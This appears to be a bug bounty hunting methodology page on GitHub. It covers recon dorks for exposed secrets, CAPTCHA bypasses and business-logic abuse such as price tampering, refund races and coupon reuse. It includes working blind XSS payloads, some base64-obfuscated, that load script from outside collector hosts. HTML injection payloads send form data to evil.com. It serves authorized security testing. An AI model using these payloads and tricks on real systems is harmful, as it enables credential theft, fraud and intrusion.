description	If you enjoy what I do, please support me Buy Me Ko-fi! https://ko-fi.com/h0tak88r

Hunting Methodology

Recon

Automation

{% embed url="https://github.com/h0tak88r/ReconRaptor" %}

Play With Nuclei -> https://blog.projectdiscovery.io/ultimate-nuclei-guide/
Play with FFUF ffuf -u https://google.com/FUZZ -w Onelistforall/onelistforallshort.txt -mc 200,403 -> onelistforall -> Seclists -> Assetnote

Do some [[Dorking]] Specially Shodan Dorking -> Dorking

GitHub Dorking gitdork-Helper pass | pwd | secret | key | private | credential | dbpassword | token

Google [[Dorking]]

# Google
ext:php | ext:asp | ext:aspx | ext:jsp | ext:asp | ext:pl | ext:cfm | ext:py | ext:rb
ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt |ext:ora | ext:ini | ext:yaml | ext:yml | ext:rdp | ext:ora | ext:bak | ext:log | ext:confi
(ext:doc | ext:pdf | ext:xls | ext:txt | ext:ps | ext:rtf | ext:odt | ext:sxw | ext:psw | ext:ppt | ext:pps | ext:xml) intext:confidential salary

Shodan Dorking ssl.cert.subject.CN:"<specific_hos_name_>"

Check for API Docs
- Swagger -> /openapi.json
- GraphQL -> https://graphql.org/learn/introspection/ -> https://github.com/prisma-labs/get-graphql-schema
- manual -> site:target.tld intitle:api | developer
Look for API secrets
- site:target.tld inurl:api
- intitle:"index of" "api.yaml" site:target.tld
- intitle:"index of" intext:"apikey.txt" site:target.tld
- allintext:"API_SECRET*" ext:env | ext:yml site:target.tld

Low Hanging Fruits

Registration Abuse

CAPTCHA Feature Abuse

Captcha Bypass via response manipulation
Do not send the parameter related to the captcha.
- Change from POST to GET or other HTTP Verbs
- Change to JSON or from JSON
Send the captcha parameter empty.
Check if the value of the captcha is in the source code of the page.
Check if the value is inside a cookie.
Try to use an old captcha value
Check if you can use the same captcha value several times with the same or different session-ID.
If the captcha consists on a mathematical operation try to automate the calculation.
Enter CAPTCHA as a Boolean value (True)

Contact us Feature

There is no rate limit for contact-us endpoints
Blind XSS on image upload support chat

Blind XSS

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8veHNzLnJlcG9ydC9zL004U1pUOCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs&#61; onerror=eval(atob(this.id))>
'"><script src=//xss.report/s/M8SZT8></script>
"><script src="https://js.rip/l5j9hbki0b"></script>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwL2w1ajloYmtpMGIiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>

HTML Injection

https://evil.comxxxxxxxxxxxxxxxxxxxxeeeeeeeeeeaaaaaaaaaaaaa%20%22<b>hello</b><h1>hacker</h1><a Href='evil.com'>xxxx</a>abc.comxxxxxxxxxxxxxxxxxxxxeeeeeeeeeeaaaaaaaaaaaaacxcccc
"/><img src="x"><a href="https://evil.com">login</a>
<button name=xss type=submit formaction='https://google.com'>I get consumed!
<form action='http://evil.com/log_steal'>
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option																<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=

Reset Password Abuse

Profile - Settings

Testing Authorization

Newsletter Feature

2FA Feature Abuse

JWT Security Testing

File Upload Feature Abuse

Reference:https://brutelogic.com.br/blog/file-upload-xss/

Ban Feature Abuse

Try register account with the same name with you and block him
Banned user still able to invited to reports as a collabrator and reset the password

Commenting Feature Abuse

[[IDOR|IDOR]] Posting comments impersonating some other users.
DOM Clobbering
Markup Language? try Create A picture that steals Data
[[IDOR|IDOR]] to Read any other's private comments
Race Condition
Privilege Escalation

Chatting Features-Rich Editor Feature

HTML Injection
[[XSS_HTML Injection]] in email id
Blind XSS

XSS Bypass for Rich Text Editors

<</p>iframe src=javascript:alert()//
<a href="aaa:bbb">x</a>
<a href="j%26Tab%3bavascript%26colon%3ba%26Tab%3blert()">x</a>

Hyperlink Injection Click on me to claim 100$ vouchers](<https://evil.com>)
Markup Language? try Create A picture that steals Data
flood the application using the session data of an old user > Improper Session Management
[[IDOR]]

Money Features Abuse

Try forcefully browsing the areas or some particular endpoints which come under premium accounts
Pay for a premium feature and cancel your subscription. If you get a refund but the feature is still usable, it’s a monetary impact issue.
Some applications use true-false request/response values to validate if a user is having access to premium features or not.
Try using Burp’s Match & Replace to see if you can replace these values whenever you browse the app & access the premium features.
Always check cookies or local storage to see if any variable is checking if the user should have access to premium features or not.
Buy Products at lower price • Add cheap items to the cart. During the payment process, capture the encrypted payment data being sent to the payment gateway. • Initiate another shopping process and add expensive/multiple items to the cart. Replace the payment data with the previously captured data. • If the application does not cross-validate the data, we’ll be able to buy products at a lower price
IDOR in Change Price
1. make a request to buy anything
2. try changing the price in request/response
Currency Arbitrage
- Pay in 1 currency say USD and try to get a refund in EUR. Due to the diff in conversion rates, it might be possible to gain more amount.
- change USD to any poor currency

Premium Feature Abuse | Paywall Bypass | Purchasing Feature Abuse

Refund Feature Abuse

Purchase a product (usually some subscription) and ask for a refund to see if the feature is still accessible.
Try for currency arbitrage
Try making multiple requests for subscription cancellation (race conditions) to see if you can get multiple refunds.

Cart/Wish list Abuse

Add a product in negative quantity with other products in positive quantity to balance the amount.
Add a product in more than the available quantity.
Try to see when you add a product to your Wish-list and move it to a cart if it is possible to move it to some other user’s cart or delete it from there.

Orders Page

[[IDOR]]
Leaking Credit Card Details in Responses -> Exclusive data disclosure
If target support making accounts without confirming emails try to make order with victim account and then register account with the victim email if you found out previously made order's then it is a bug

Transfer Money

Bypass Transfer Money Limit with negative numbers
Borrow Money Without Return by Change the loan return date to --> 31/February

Gifts Feature

Discount Checkout

Apply the same code more than once to see if the coupon code is reusable.
Input the gift code and intercept the request and remove it from the request
Manipulate the response when reuse the discount code
Discount is for multiple Items ? collect items and intercept the request change it to one item
No Rate Limit --> https://hackerone.com/reports/123091
Race Condition--> https://hackerone.com/reports/157996
Try Mass Assignment or HTTP Parameter Pollution to see if you can add multiple coupon codes while the application only accepts one code from the Client Side.
Try performing attacks that are caused by missing input sanitization such as XSS, SQLi, etc. on this field
Try adding discount codes on the products which are not covered under discounted items by tampering with the request on the server-side.

Delivery Charges Abuse

Try tampering with the delivery charge rates to -ve values to see if the final amount can be reduced.
Try checking for the free delivery by tampering with the params.

Review Feature

Some applications have an option where verified reviews are marked with some tick or it’s mentioned. Try to see if you can post a review as a Verified Reviewer without purchasing that product.
Some app provides you with an option to provide a rating on a scale of 1 to 5, try to go beyond/below the scale-like provide 0 or 6 or -ve.
Try to see if the same user can post multiple ratings for a product. This is an interesting endpoint to check for Race Conditions.
Try to see if the file upload field is allowing any exts, it’s often observed that the devs miss out on implementing protections on such endpoints.
Try to post reviews like some other users.
Try performing CSRF on this functionality, often is not protected by tokens
Get Better Yearly Rates by tampering parameters like ‘yearly_rate’: ‘3644’

FilesExpand file tree

hunting-methodology.md

Latest commit

History

hunting-methodology.md

File metadata and controls

Hunting Methodology